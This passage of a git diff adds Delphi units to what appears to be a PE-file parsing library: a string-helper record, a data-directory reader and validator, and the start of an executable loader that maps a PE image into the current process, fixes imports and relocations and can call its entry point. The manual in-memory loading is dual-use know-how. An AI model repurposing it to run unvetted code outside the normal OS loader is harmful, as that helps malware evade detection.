= 'Data Directories'; + SCategoryResources = 'Resources'; + SCategoryImports = 'Imports'; + SCategoryTLS = 'TLS'; + SCategoryRelocs = 'Relocs'; + + +// ----- +// by oranke +type + TStringSplitOptions = (None, ExcludeEmpty); + + { TMyStringHelper } + + TMyStringHelper = record helper for string + private type + TSplitKind = (StringSeparatorNoQuoted, StringSeparatorQuoted, CharSeparatorNoQuoted, CharSeparatorQuoted); + private + function IndexOfAny(const Values: array of string; var Index: Integer; StartIndex: Integer): Integer; overload; + function IndexOfAnyUnquoted(const Values: array of string; StartQuote, EndQuote: Char; var Index: Integer; StartIndex: Integer): Integer; overload; + function IndexOfQuoted(const Value: string; StartQuote, EndQuote: Char; StartIndex: Integer): Integer; overload; + function InternalSplit(SplitType: TSplitKind; const SeparatorC: array of Char; const SeparatorS: array of string; + QuoteStart, QuoteEnd: Char; Count: Integer; Options: TStringSplitOptions): TArray<string>; + function GetChars(Index: Integer): Char; + function GetLength: Integer; + public + const Empty = ''; + + function IsEmpty: Boolean; + function IndexOf(const Value: string; StartIndex: Integer): Integer; overload; + + function IndexOfAny(const AnyOf: array of Char): Integer; overload; + function IndexOfAny(const AnyOf: array of Char; StartIndex: Integer): Integer; overload; + function IndexOfAny(const AnyOf: array of Char; StartIndex: Integer; Count: Integer): Integer; overload; + + function IndexOfAnyUnquoted(const AnyOf: array of Char; StartQuote, EndQuote: Char): Integer; overload; + function IndexOfAnyUnquoted(const AnyOf: array of Char; StartQuote, EndQuote: Char; StartIndex: Integer): Integer; overload; + function IndexOfAnyUnquoted(const AnyOf: array of Char; StartQuote, EndQuote: Char; StartIndex: Integer; Count: Integer): Integer; overload; + + function Substring(StartIndex: Integer): string; overload; + function Substring(StartIndex: Integer; Length: Integer): string; overload; + function Split(const Separator: array of Char): TArray<string>; overload; + function Split(const Separator: array of Char; Count: Integer; Options: TStringSplitOptions): TArray<string>; overload; + + class function EndsText(const ASubText, AText: string): Boolean; static; + + function StartsWith(const Value: string): Boolean; overload; inline; + function StartsWith(const Value: string; IgnoreCase: Boolean): Boolean; overload; + + function EndsWith(const Value: string): Boolean; overload; inline; + function EndsWith(const Value: string; IgnoreCase: Boolean): Boolean; overload; + + + property Chars[Index: Integer]: Char read GetChars; + property Length: Integer read GetLength; + end; + + +implementation + +{ TMyStringHelper } + +function TMyStringHelper.IndexOfAny(const Values: array of string; + var Index: Integer; StartIndex: Integer): Integer; +var + C, P, IoA: Integer; +begin + IoA := -1; + for C := 0 to High(Values) do + begin + P := IndexOf(Values[C], StartIndex); + if (P >= 0) and((P < IoA) or (IoA = -1)) then + begin + IoA := P; + Index := C; + end; + end; + Result := IoA; +end; + + + + +function TMyStringHelper.IndexOfAnyUnquoted(const Values: array of string; + StartQuote, EndQuote: Char; var Index: Integer; StartIndex: Integer): Integer; +var + C, P, IoA: Integer; +begin + IoA := -1; + for C := 0 to High(Values) do + begin + P := IndexOfQuoted(Values[C], StartQuote, EndQuote, StartIndex); + if (P >= 0) and((P < IoA) or (IoA = -1)) then + begin + IoA := P; + Index := C; + end; + end; + Result := IoA; +end; + +function TMyStringHelper.IndexOfQuoted(const Value: string; StartQuote, + EndQuote: Char; StartIndex: Integer): Integer; +var + I, LIterCnt, L, J: Integer; + PSubStr, PS: PWideChar; + LInQuote: Integer; + LInQuoteBool: Boolean; +begin + L := Value.Length; + LIterCnt := Self.Length - StartIndex - L + 1; + + if (StartIndex >= 0) and (LIterCnt >= 0) and (L > 0) then + begin + PSubStr := PWideChar(Value); + PS := PWideChar(Self); + Inc(PS, StartIndex); + + if StartQuote <> EndQuote then + begin + LInQuote := 0; + + for I := 0 to LIterCnt do + begin + J := 0; + while (J >= 0) and (J < L) do + begin + if PS[I + J] = StartQuote then + Inc(LInQuote) + else + if PS[I + J] = EndQuote then + Dec(LInQuote); + + if LInQuote > 0 then + J := -1 + else + begin + if PS[I + J] = PSubStr[J] then + Inc(J) + else + J := -1; + end; + end; + if J >= L then + Exit(I + StartIndex); + end; + end + else + begin + LInQuoteBool := False; + for I := 0 to LIterCnt do + begin + J := 0; + while (J >= 0) and (J < L) do + begin + if PS[I + J] = StartQuote then + LInQuoteBool := not LInQuoteBool; + + if LInQuoteBool then + J := -1 + else + begin + if PS[I + J] = PSubStr[J] then + Inc(J) + else + J := -1; + end; + end; + if J >= L then + Exit(I + StartIndex); + end; + end; + end; + + Result := -1; +end; + + +function TMyStringHelper.InternalSplit(SplitType: TSplitKind; + const SeparatorC: array of Char; const SeparatorS: array of string; + QuoteStart, QuoteEnd: Char; Count: Integer; + Options: TStringSplitOptions): TArray<string>; +const + DeltaGrow = 32; +var + NextSeparator, LastIndex: Integer; + Total: Integer; + CurrentLength: Integer; + SeparatorIndex: Integer; + S: string; +begin + Total := 0; + LastIndex := 0; + NextSeparator := -1; + CurrentLength := 0; + SeparatorIndex := 0; + case SplitType of + TSplitKind.StringSeparatorNoQuoted: NextSeparator := IndexOfAny(SeparatorS, SeparatorIndex, LastIndex); + TSplitKind.StringSeparatorQuoted: NextSeparator := IndexOfAnyUnquoted(SeparatorS, QuoteStart, QuoteEnd, SeparatorIndex, LastIndex); + TSplitKind.CharSeparatorNoQuoted: NextSeparator := IndexOfAny(SeparatorC, LastIndex); + TSplitKind.CharSeparatorQuoted: NextSeparator := IndexOfAnyUnquoted(SeparatorC, QuoteStart, QuoteEnd, LastIndex); + end; + while (NextSeparator >= 0) and (Total < Count) do + begin + S := Substring(LastIndex, NextSeparator - LastIndex); + if (S <> '') or ((S = '') and (Options <> ExcludeEmpty)) then + begin + Inc(Total); + if CurrentLength < Total then + begin + CurrentLength := Total + DeltaGrow; + SetLength(Result, CurrentLength); + end; + Result[Total - 1] := S; + end; + + case SplitType of + TSplitKind.StringSeparatorNoQuoted: + begin + LastIndex := NextSeparator + SeparatorS[SeparatorIndex].Length; + NextSeparator := IndexOfAny(SeparatorS, SeparatorIndex, LastIndex); + end; + TSplitKind.StringSeparatorQuoted: + begin + LastIndex := NextSeparator + SeparatorS[SeparatorIndex].Length; + NextSeparator := IndexOfAnyUnquoted(SeparatorS, QuoteStart, QuoteEnd, SeparatorIndex, LastIndex); + end; + TSplitKind.CharSeparatorNoQuoted: + begin + LastIndex := NextSeparator + 1; + NextSeparator := IndexOfAny(SeparatorC, LastIndex); + end; + TSplitKind.CharSeparatorQuoted: + begin + LastIndex := NextSeparator + 1; + NextSeparator := IndexOfAnyUnquoted(SeparatorC, QuoteStart, QuoteEnd, LastIndex); + end; + end; + end; + + if (LastIndex < Self.Length) and (Total < Count) then + begin + Inc(Total); + SetLength(Result, Total); + Result[Total - 1] := Substring(LastIndex, Self.Length - LastIndex); + end + else + SetLength(Result, Total); +end; + +function TMyStringHelper.GetChars(Index: Integer): Char; +begin + Result := Self[Index]; +end; + +function TMyStringHelper.GetLength: Integer; +begin + Result := System.Length(Self); +end; + + +function Pos2(const SubStr, Str: String; Offset: Integer): Integer; overload; +var + I, LIterCnt, L, J: Integer; + PSubStr, PS: PChar; +begin + L := Length(SubStr); + { Calculate the number of possible iterations. Not valid if Offset < 1. } + LIterCnt := Length(Str) - Offset - L + 1; + + { Only continue if the number of iterations is positive or zero (there is space to check) } + if (Offset > 0) and (LIterCnt >= 0) and (L > 0) then + begin + PSubStr := PChar(SubStr); + PS := PChar(Str); + Inc(PS, Offset - 1); + + for I := 0 to LIterCnt do + begin + J := 0; + while (J >= 0) and (J < L) do + begin + if PS[I + J] = PSubStr[J] then + Inc(J) + else + J := -1; + end; + if J >= L then + Exit(I + Offset); + end; + end; + + Result := 0; +end; + +function TMyStringHelper.IsEmpty: Boolean; +begin + Result := Self = Empty; +end; + +function TMyStringHelper.IndexOf(const Value: string; + StartIndex: Integer): Integer; +begin + //Result := System.Pos(Value, Self, StartIndex + 1) - 1; + Result := Pos2(Value, Self, StartIndex + 1) - 1; +end; + +function TMyStringHelper.IndexOfAny(const AnyOf: array of Char): Integer; +begin + Result := IndexOfAny(AnyOf, 0, Self.Length); +end; + +function TMyStringHelper.IndexOfAny(const AnyOf: array of Char; + StartIndex: Integer): Integer; +begin + Result := IndexOfAny(AnyOf, StartIndex, Self.Length); +end; + +function TMyStringHelper.IndexOfAny(const AnyOf: array of Char; + StartIndex: Integer; Count: Integer): Integer; +var + I: Integer; + C: Char; + Max: Integer; +begin + if (StartIndex + Count) >= Self.Length then + Max := Self.Length + else + Max := StartIndex + Count; + + I := StartIndex; + while I < Max do + begin + for C in AnyOf do + if Self[I] = C then + Exit(I); + Inc(I); + end; + Result := -1; +end; + +function TMyStringHelper.IndexOfAnyUnquoted(const AnyOf: array of Char; + StartQuote, EndQuote: Char): Integer; +begin + Result := IndexOfAnyUnquoted(AnyOf, StartQuote, EndQuote, 0, Self.Length); +end; + +function TMyStringHelper.IndexOfAnyUnquoted(const AnyOf: array of Char; + StartQuote, EndQuote: Char; StartIndex: Integer): Integer; +begin + Result := IndexOfAnyUnquoted(AnyOf, StartQuote, EndQuote, StartIndex, Self.Length); +end; + +function TMyStringHelper.IndexOfAnyUnquoted(const AnyOf: array of Char; + StartQuote, EndQuote: Char; StartIndex: Integer; Count: Integer): Integer; +var + I: Integer; + C: Char; + Max: Integer; + LInQuote: Integer; + LInQuoteBool: Boolean; +begin + if (StartIndex + Count) >= Length then + Max := Length + else + Max := StartIndex + Count; + + I := StartIndex; + if StartQuote <> EndQuote then + begin + LInQuote := 0; + while I < Max do + begin + if Self[I] = StartQuote then + Inc(LInQuote) + else + if (Self[I] = EndQuote) and (LInQuote > 0) then + Dec(LInQuote); + + if LInQuote = 0 then + for C in AnyOf do + if Self[I] = C then + Exit(I); + Inc(I); + end; + end + else + begin + LInQuoteBool := False; + while I < Max do + begin + if Self[I] = StartQuote then + LInQuoteBool := not LInQuoteBool; + + if not LInQuoteBool then + for C in AnyOf do + if Self[I] = C then + Exit(I); + Inc(I); + end; + end; + Result := -1; +end; + +function TMyStringHelper.Substring(StartIndex: Integer): string; +begin + Result := System.Copy(Self, StartIndex + 1, Self.Length); +end; + +function TMyStringHelper.Substring(StartIndex: Integer; Length: Integer + ): string; +begin + Result := System.Copy(Self, StartIndex + 1, Length); +end; + + +function TMyStringHelper.Split(const Separator: array of Char): TArray<string>; +begin + Result := Split(Separator, MaxInt, None); +end; + +function TMyStringHelper.Split(const Separator: array of Char; Count: Integer; + Options: TStringSplitOptions): TArray<string>; +begin + Result := InternalSplit(TSplitKind.CharSeparatorNoQuoted, Separator, [], Char(0), Char(0), Count, Options); +end; + +class function TMyStringHelper.EndsText(const ASubText, AText: string): Boolean; +var + SubTextLocation: Integer; +begin + SubTextLocation := AText.Length - ASubText.Length; + if (SubTextLocation >= 0) and (ASubText <> '') then //and + //(ByteType(AText, SubTextLocation) <> mbTrailByte) then + Result := //AnsiStrIComp(PChar(ASubText), PChar(@AText[SubTextLocation])) = 0 + ( + CompareText(PChar(ASubText),PChar(@AText[SubTextLocation])) = 0 + ) + else + Result := False; +end; + +function TMyStringHelper.StartsWith(const Value: string): Boolean; +begin + Result := StartsWith(Value, False); +end; + +function StrLComp(const Str1, Str2: PChar; MaxLen: Cardinal): Integer; +var + I: Cardinal; + P1, P2: PChar; +begin + P1 := Str1; + P2 := Str2; + I := 0; + while I < MaxLen do + begin + if (P1^ <> P2^) or (P1^ = #0) then + Exit(Ord(P1^) - Ord(P2^)); + + Inc(P1); + Inc(P2); + Inc(I); + end; + Result := 0; +end; + +function StrLIComp(const Str1, Str2: PChar; MaxLen: Cardinal): Integer; +var + P1, P2: PChar; + I: Cardinal; + C1, C2: Char; +begin + P1 := Str1; + P2 := Str2; + I := 0; + while I < MaxLen do + begin + if P1^ in ['a'..'z'] then + C1 := Char(Byte(P1^) xor $20) + else + C1 := P1^; + + if P2^ in ['a'..'z'] then + C2 := Char(Byte(P2^) xor $20) + else + C2 := P2^; + + if (C1 <> C2) or (C1 = #0) then + Exit(Ord(C1) - Ord(C2)); + + Inc(P1); + Inc(P2); + Inc(I); + end; + Result := 0; +end; + + +function TMyStringHelper.StartsWith(const Value: string; IgnoreCase: Boolean + ): Boolean; +begin + if Value = '' then + Result := False + else + if not IgnoreCase then + Result := StrLComp(PChar(Self), PChar(Value), Value.Length) = 0 + else + Result := StrLIComp(PChar(Self), PChar(Value), Value.Length) = 0; +end; + + +function TMyStringHelper.EndsWith(const Value: string): Boolean; +begin + Result := EndsWith(Value, False); +end; + +//type + //TMbcsByteType = (mbSingleByte, mbLeadByte, mbTrailByte); + +function TMyStringHelper.EndsWith(const Value: string; + IgnoreCase: Boolean): Boolean; +//var + //SubTextLocation: Integer; +begin + //if IgnoreCase then + Result := EndsText(Value, Self) + //else + //begin + { + SubTextLocation := Self.Length - Value.Length; + if (SubTextLocation >= 0) and (Value <> Empty) then //and + (//ByteType2(Self, SubTextLocation) <> mbTrailByte) then + Result := string.Compare(Value, 0, Self, SubTextLocation, Value.Length, []) = 0 + else + Result := False; + end; + } +end; + + +end. diff --git a/Core/PE/PE.DataDirectories.pas b/Core/PE/PE.DataDirectories.pas new file mode 100755 index 0000000..de6fa9c --- /dev/null +++ b/Core/PE/PE.DataDirectories.pas @@ -0,0 +1,356 @@ +unit PE.DataDirectories; + +interface + +uses + Classes, + SysUtils, + + PE.Common, + PE.Msg, + PE.Section, + PE.Sections, + PE.Types.Directories, + PE.Utils; + +type + TDataDirectories = class + private + FPE: TObject; // TPEImage + FItems: array of TImageDataDirectory; + function GetCount: integer; inline; + procedure SetCount(const Value: integer); + public + constructor Create(APE: TObject); + + procedure Clear; + + procedure NullInvalid(const Msg: TMsgMgr); + + // Load array of TImageDataDirectory (va,size) from stream. + procedure LoadDirectoriesFromStream( + Stream: TStream; + const Msg: TMsgMgr; + DeclaredCount: uint32; // # of rva and sizes + MaxBytes: uint16 + ); + + // Save array of TImageDataDirectory (va,size) to stream. + // Return saved size. + function SaveDirectoriesToStream(Stream: TStream): integer; + + // Check if index is in item range. + function IsGoodIndex(Index: integer): boolean; inline; + + // Get TImageDataDirectory by Index. + // Result is True if Index exists. + // OutDir is optional and can be nil. + function Get(Index: integer; OutDir: PImageDataDirectory): boolean; + + // Get directory name. + function GetName(Index: integer): string; + + // Put directory safely. If Index > than current item count, empty items + // will be added. + procedure Put(Index: integer; const Dir: TImageDataDirectory); overload; + + procedure Put(Index: integer; RVA, Size: uint32); overload; + + // If Index exists set RVA and Size to 0. + procedure Null(Index: integer); + + // Check if directory by Index occuppies whole section. If it's true, + // result is section. Otherwise result is nil. + function GetSectionDedicatedToDir(Index: integer; + AlignSize: boolean = False): TPESection; + + // Get index of directory, which occupies whole Section. Result is -1 if + // not found. + function GetDirDedicatedToSection(Section: TPESection; AlignSize: boolean = False): integer; + + // Save data pointed by directory RVA and Size to file. + // Index is directory index. + function SaveToStream(Index: integer; Stream: TStream): boolean; + function SaveToFile(Index: integer; const FileName: string): boolean; + + // Load data into memory pointed by directory RVA and Size. + // Index is directory index. + // Offset is file offset where to start reading from. + // Result is True if complete size was read. + function LoadFromStream(Index: integer; Stream: TStream; Offset: uint64): boolean; + function LoadFromFile(Index: integer; const FileName: string; Offset: uint64): boolean; + + property Count: integer read GetCount write SetCount; + end; + +implementation + +uses + // Expand + PE.Headers, + PE.Image; + +{ TDataDirectories } + +procedure TDataDirectories.Clear; +begin + FItems := nil; + self.Count := 0; +end; + +constructor TDataDirectories.Create(APE: TObject); +begin + self.FPE := APE; +end; + +function TDataDirectories.GetSectionDedicatedToDir(Index: integer; + AlignSize: boolean): TPESection; +var + Dir: TImageDataDirectory; + sec: TPESection; + ExpectedSize, VSize: uint32; + img: TPEImage; +begin + Result := nil; + if not Get(Index, @Dir) then + exit; + if Dir.IsEmpty then + exit; + img := TPEImage(FPE); + if not img.Sections.RVAToSec(Dir.VirtualAddress, @sec) then + exit; + if (sec.RVA <> Dir.VirtualAddress) then + exit; + if AlignSize then + begin + ExpectedSize := AlignUp(Dir.Size, img.SectionAlignment); + VSize := AlignUp(sec.VirtualSize, img.SectionAlignment); + end + else + begin + ExpectedSize := Dir.Size; + VSize := sec.VirtualSize; + end; + if (VSize = ExpectedSize) then + Result := sec; +end; + +function TDataDirectories.IsGoodIndex(Index: integer): boolean; +begin + Result := (Index >= 0) and (Index < Length(FItems)); +end; + +function TDataDirectories.Get(Index: integer; OutDir: PImageDataDirectory): boolean; +begin + Result := IsGoodIndex(Index); + if Result and Assigned(OutDir) then + OutDir^ := FItems[Index]; +end; + +procedure TDataDirectories.Put(Index: integer; const Dir: TImageDataDirectory); +begin + if Index >= Length(FItems) then + SetLength(FItems, Index + 1) + else if Index < 0 then + Index := 0; + FItems[Index] := Dir; +end; + +procedure TDataDirectories.Put(Index: integer; RVA, Size: uint32); +var + d: TImageDataDirectory; +begin + d.RVA := RVA; + d.Size := Size; + Put(Index, d); +end; + +procedure TDataDirectories.Null(Index: integer); +begin + if (Index >= 0) and (Index < Length(FItems)) then + FItems[Index] := NULL_IMAGE_DATA_DIRECTORY; +end; + +function TDataDirectories.GetCount: integer; +begin + Result := Length(FItems); +end; + +function TDataDirectories.GetDirDedicatedToSection(Section: TPESection; AlignSize: boolean = False): integer; +var + i: integer; +begin + for i := 0 to Length(FItems) - 1 do + begin + if GetSectionDedicatedToDir(i, AlignSize) = Section then + exit(i); + end; + exit(-1); +end; + +function TDataDirectories.GetName(Index: integer): string; +begin + if IsGoodIndex(Index) then + Result := GetDirectoryName(index) + else + Result := ''; +end; + +procedure TDataDirectories.NullInvalid(const Msg: TMsgMgr); +var + i: integer; + needToNullDir: boolean; +begin + // Check RVAs. + for i := 0 to self.Count - 1 do + begin + // Empty dir is ok. + if FItems[i].IsEmpty then + continue; + + needToNullDir := False; + + if (FItems[i].Size = 0) and (FItems[i].RVA <> 0) then + begin + Msg.Write(SCategoryDataDirecory, 'Directory # %d has size = 0.', [i]); + needToNullDir := true; + end + else if not TPEImage(FPE).RVAExists(FItems[i].RVA) then + begin + Msg.Write(SCategoryDataDirecory, 'Directory # %d RVA is not in image.', [i]); + needToNullDir := true; + end; + + if needToNullDir and (PO_NULL_INVALID_DIRECTORY in TPEImage(FPE).Options) then + begin + FItems[i] := NULL_IMAGE_DATA_DIRECTORY; + Msg.Write(SCategoryDataDirecory, 'Directory # %d nulled.', [i]); + end; + end; +end; + +procedure TDataDirectories.LoadDirectoriesFromStream; +var + MaxCountPossible: integer; + CountToRead: integer; + SizeToFileEnd: uint64; + Size: uint32; + MaxSizePossible: uint16; +begin + Clear; + + if DeclaredCount = 0 then + begin + Msg.Write(SCategoryDataDirecory, 'No data directories.'); + exit; + end; + + SizeToFileEnd := (Stream.Size - Stream.Position); + + // Max size available for dirs. + if SizeToFileEnd > MaxBytes then + MaxSizePossible := MaxBytes + else + MaxSizePossible := SizeToFileEnd; + + MaxCountPossible := MaxSizePossible div SizeOf(TImageDataDirectory); + + // File can have part of dword stored. It must be extended with zeros. + if (MaxSizePossible mod SizeOf(TImageDataDirectory)) <> 0 then + inc(MaxCountPossible); + + if DeclaredCount <> TYPICAL_NUMBER_OF_DIRECTORIES then + Msg.Write(SCategoryDataDirecory, 'Non-usual count of directories declared (0x%x).', [DeclaredCount]); + + if DeclaredCount > MaxCountPossible then + begin + CountToRead := MaxCountPossible; + + Msg.Write(SCategoryDataDirecory, + 'Declared count of directories is greater than file can contain (0x%x > 0x%x).', + [DeclaredCount, MaxCountPossible]); + Msg.Write(SCategoryDataDirecory, 'Fall back to 0x%x.', [MaxCountPossible]); + end + else + begin + CountToRead := DeclaredCount; + end; + + // Read data directories. + + Size := CountToRead * SizeOf(TImageDataDirectory); + SetLength(FItems, CountToRead); + + // Must clear buffer, cause it can have partial values (filled with zeros). + FillChar(FItems[0], Size, 0); + + // Not all readed size/rva can be valid. You must check rvas before use. + Stream.Read(FItems[0], Size); + + // Set final count. + self.Count := CountToRead; + + NullInvalid(Msg); +end; + +function TDataDirectories.SaveToStream(Index: integer; Stream: TStream): boolean; +var + Dir: TImageDataDirectory; +begin + if Get(Index, @Dir) then + begin + TPEImage(FPE).SaveRegionToStream(Stream, Dir.VirtualAddress, Dir.Size); + exit(true); + end; + exit(False); +end; + +function TDataDirectories.SaveToFile(Index: integer; const FileName: string): boolean; +var + fs: TFileStream; +begin + fs := TFileStream.Create(FileName, fmCreate); + try + Result := SaveToStream(Index, fs); + finally + fs.Free; + end; +end; + +function TDataDirectories.LoadFromStream(Index: integer; Stream: TStream; Offset: uint64): boolean; +var + Dir: TImageDataDirectory; + ReadCount: uint32; +begin + if Get(Index, @Dir) then + begin + TPEImage(FPE).LoadRegionFromStream(Stream, Offset, Dir.VirtualAddress, Dir.Size, @ReadCount); + exit(ReadCount = Dir.Size); + end; + exit(False); +end; + +function TDataDirectories.LoadFromFile(Index: integer; const FileName: string; Offset: uint64): boolean; +var + fs: TFileStream; +begin + fs := TFileStream.Create(FileName, fmOpenRead or fmShareDenyWrite); + try + Result := LoadFromStream(Index, fs, Offset); + finally + fs.Free; + end; +end; + +function TDataDirectories.SaveDirectoriesToStream(Stream: TStream): integer; +begin + Result := Stream.Write(FItems[0], Length(FItems) * SizeOf(TImageDataDirectory)) +end; + +procedure TDataDirectories.SetCount(const Value: integer); +begin + SetLength(FItems, Value); + TPEImage(FPE).OptionalHeader.NumberOfRvaAndSizes := Value; +end; + +end. diff --git a/Core/PE/PE.ExecutableLoader.pas b/Core/PE/PE.ExecutableLoader.pas new file mode 100755 index 0000000..f43c31c --- /dev/null +++ b/Core/PE/PE.ExecutableLoader.pas @@ -0,0 +1,530 @@ +{ + Load and map module into current process. + Module MUST have relocations or be RIP-addressed to be loaded normally. +} +unit PE.ExecutableLoader; + +interface + +uses + System.Classes, + System.Generics.Collections, + + WinApi.Windows, + + PE.Common, + PE.Image; + +type + TMapStatus = ( + msOK, + msImageAlreadyMapped, + msError, + msImageSizeError, + msMapSectionsError, + msSectionAllocError, + msProtectSectionsError, + msImportLibraryNotFound, + msImportNameNotFound, + msImportOrdinalNotFound, + msEntryPointFailure + ); + + TMapStatusHelper = record helper for TMapStatus + function ToString: string; + end; + + TExecutableLoadingOption = ( + // Write PE header into start of allocated image. + elo_MapHeader, + + // Apply fixups after image mapping. + elo_FixRelocations, + + // Resolve imported functions after image mapping. + elo_FixImports, + + // Apply protection defined in section header to mapped sections. + elo_ProtectSections, + + // Call EXE or DLL entry point when image mapped. + elo_CallEntryPoint + ); + + TExecutableLoadingOptions = set of TExecutableLoadingOption; + +const + DEFAULT_OPTIONS = [ + elo_MapHeader, + elo_FixRelocations, + elo_FixImports, + elo_ProtectSections, + elo_CallEntryPoint + ]; + +type + TEXEEntry = procedure(); stdcall; + TDLLEntry = function(hInstDLL: HINST; fdwReason: DWORD; lpvReserved: LPVOID): BOOL; stdcall; + + TLoadedModules = TDictionary<string, HMODULE>; + + TExecutableModule = class + private + FPE: TPEImage; + FOptions: TExecutableLoadingOptions; + FInstance: NativeUInt; + FEntry: Pointer; + FSizeOfImage: UInt32; + FLoadedImports: TLoadedModules; + function Check(const Desc: string; var rslt: TMapStatus; ms: TMapStatus): boolean; + + function MapSections(PrefferedVa: UInt64): TMapStatus; + function MapHeader: TMapStatus; + function ProtectSections: TMapStatus; + function Relocate: TMapStatus; + function LoadImports: TMapStatus; + + procedure UnloadImports; + public + constructor Create(PE: TPEImage); + destructor Destroy; override; + + function IsImageMapped: boolean; inline; + + function Load( + PrefferedVa: UInt64 = 0; + Options: TExecutableLoadingOptions = DEFAULT_OPTIONS): TMapStatus; + + function Unload: boolean; + + property Instance: NativeUInt read FInstance; + end; + +implementation + +uses + System.SysUtils, + + PE.Types.FileHeader, + PE.Utils, + PE.Sections, + PE.Image.Saving, + + PE.Imports, + PE.Imports.Func, + PE.Imports.Lib, + + PE.MemoryStream, + PE.Section, + PE.Types.Relocations; + +function HasBits(Value, mask: DWORD): boolean; inline; +begin + Result := (Value and mask) <> 0; +end; + +function CharacteristicsToProtect(CH: DWORD): DWORD; +var + X, R, W, C: boolean; +begin + Result := 0; + + X := HasBits(CH, IMAGE_SCN_MEM_EXECUTE); + R := HasBits(CH, IMAGE_SCN_MEM_READ); + W := HasBits(CH, IMAGE_SCN_MEM_WRITE); + C := HasBits(CH, IMAGE_SCN_MEM_NOT_CACHED); + + if X then + begin + if R then + begin + if W then + Result := Result or PAGE_EXECUTE_READWRITE + else + Result := Result or PAGE_EXECUTE_READ; + end + else if W then + Result := Result or PAGE_EXECUTE_WRITECOPY + else + Result := Result or PAGE_EXECUTE; + end + else if R then + begin + if W then + Result := Result or PAGE_READWRITE + else + Result := Result or PAGE_READONLY; + end + else if W then + Result := Result or PAGE_WRITECOPY + else + begin + Result := Result or PAGE_NOACCESS; + end; + + if C then + Result := Result or PAGE_NOCACHE; +end; + +function min(d1, d2: DWORD): DWORD; +begin + if d1 < d2 then + Result := d1 + else + Result := d2; +end; + +{ TExecutableModule } + +function TExecutableModule.Check(const Desc: string; var rslt: TMapStatus; + ms: TMapStatus): boolean; +begin + rslt := ms; + Result := ms = msOK; + + if Result then + FPE.Msg.Write(Desc + ' .. OK.') + else + FPE.Msg.Write(Desc + ' .. failed.') +end; + +constructor TExecutableModule.Create(PE: TPEImage); +begin + FPE := PE; + FLoadedImports := TLoadedModules.Create; +end; + +destructor TExecutableModule.Destroy; +begin + Unload; + FLoadedImports.Free; + inherited; +end; + +function TExecutableModule.IsImageMapped: boolean; +begin + Result := FInstance <> 0; +end; + +function TExecutableModule.MapSections(PrefferedVa: UInt64): TMapStatus; +var + i: integer; + sec: TPESection; + size: DWORD; + va: pbyte; +begin + Result := msMapSectionsError; + + FSizeOfImage := FPE.CalcVirtualSizeOfImage; + + if FSizeOfImage = 0 then + exit(msImageSizeError); + + // Reserve and commit memory for image. + FInstance := NativeUInt(VirtualAlloc( + Pointer(PrefferedVa), + FSizeOfImage, + MEM_RESERVE or MEM_COMMIT, + PAGE_READWRITE + )); + + if FInstance = 0 then + exit(msSectionAllocError); + + // copy sections and header + // todo: header + + for i := 0 to FPE.Sections.Count - 1 do + begin + sec := FPE.Sections[i]; + if sec.VirtualSize <> 0 then + begin + va := pbyte(FInstance) + sec.RVA; + size := min(sec.VirtualSize, sec.RawSize); + if not FPE.SeekRVA(sec.RVA) then + exit; + FPE.Read(va, size); + end; + end; + + Result := msOK; +end; + +function TExecutableModule.MapHeader: TMapStatus; +var + ms: TPECustomMemoryStream; +begin + if not(elo_MapHeader in FOptions) then + exit(msOK); + + ms := TPECustomMemoryStream.CreateFromPointer(Pointer(FInstance), FSizeOfImage); + try + // Write header as-is without recalcualtions. + if not SaveHeaders(FPE, ms, False) then + exit(msError); + finally + ms.Free; + end; + + exit(msOK); +end; + +function TExecutableModule.LoadImports: TMapStatus; +var + ImpLib: TPEImportLibrary; + Fn: TPEImportFunction; + ImpLibName: String; + hmod: HMODULE; + proc: Pointer; + RVA: TRVA; + va: TVA; + ModuleMustBeFreed: boolean; +begin + if not(elo_FixImports in FOptions) then + exit(msOK); + + for ImpLib in FPE.Imports.Libs do + begin + ImpLibName := ImpLib.Name; + + FPE.Msg.Write('Processing import module: "%s"', [ImpLibName]); + + // Check if module already in address space. + hmod := GetModuleHandle(PChar(ImpLibName)); + ModuleMustBeFreed := hmod = 0; + + // Try make system load lib from default paths. + if hmod = 0 then + hmod := LoadLibrary(PChar(ImpLibName)); + // Try load from dir, where image located. + if (hmod = 0) and (FPE.FileName <> '') then + begin + hmod := LoadLibrary(PChar(ExtractFilePath(FPE.FileName) + ImpLibName)); + end; + // If lib not found, raise. + if hmod = 0 then + begin + FPE.Msg.Write('Imported module "%s" not loaded.', [ImpLibName]); + // It's either not found, or its dependencies not found. + exit(msImportLibraryNotFound); + end; + + // Module found. + if ModuleMustBeFreed then + FLoadedImports.Add(ImpLibName, hmod); + + // Process import functions. + RVA := ImpLib.IatRva; + + for Fn in ImpLib.Functions do + begin + // Find imported function. + + // By Name. + if Fn.Name <> '' then + begin + proc := GetProcAddress(hmod, PChar(Fn.Name)); + if proc = nil then + begin + FPE.Msg.Write('Imported name "%s" not found.', [Fn.Name]); + exit(msImportNameNotFound); + end; + end + else + // By Ordinal. + begin + proc := GetProcAddress(hmod, PAnsiChar(Fn.Ordinal)); + if proc = nil then + begin + FPE.Msg.Write('Imported ordinal "%d" not found.', [Fn.Ordinal]); + exit(msImportOrdinalNotFound); + end; + end; + + // Patch. + va := FInstance + RVA; + if FPE.Is32bit then + PUINT(va)^ := UInt32(proc) + else if FPE.Is64bit then + PUInt64(va)^ := UInt64(proc); + + inc(RVA, FPE.ImageWordSize); + end; + + // inc(RVA, FPE.ImageWordSize); // null + end; + Result := msOK; +end; + +function TExecutableModule.ProtectSections: TMapStatus; +var + i: integer; + sec: TPESection; + prot: cardinal; + va: pbyte; + dw: DWORD; +begin + if not(elo_ProtectSections in FOptions) then + exit(msOK); + + for i := 0 to FPE.Sections.Count - 1 do + begin + Result := msProtectSectionsError; + sec := FPE.Sections[i]; + if sec.VirtualSize <> 0 then + begin + va := Pointer(FInstance); + inc(va, sec.RVA); + prot := CharacteristicsToProtect(sec.Flags); + if not VirtualProtect(va, sec.VirtualSize, prot, dw) then + exit; + end; + end; + Result := msOK; +end; + +function TExecutableModule.Relocate: TMapStatus; +var + Reloc: TReloc; + Delta: UInt32; + pDst: PCardinal; +begin + if not(elo_FixRelocations in FOptions) then + exit(msOK); + + Delta := FInstance - FPE.ImageBase; + + if Delta = 0 then + exit(msOK); // no relocation needed + + for Reloc in FPE.Relocs.Items do + begin + case Reloc.&Type of + IMAGE_REL_BASED_HIGHLOW: + begin + pDst := PCardinal(FInstance + Reloc.RVA); + inc(pDst^, Delta); + end; + else + raise Exception.CreateFmt('Unsupported relocation type: %d', [Reloc.&Type]); + end; + end; + Result := msOK; +end; + +function TExecutableModule.Load( + 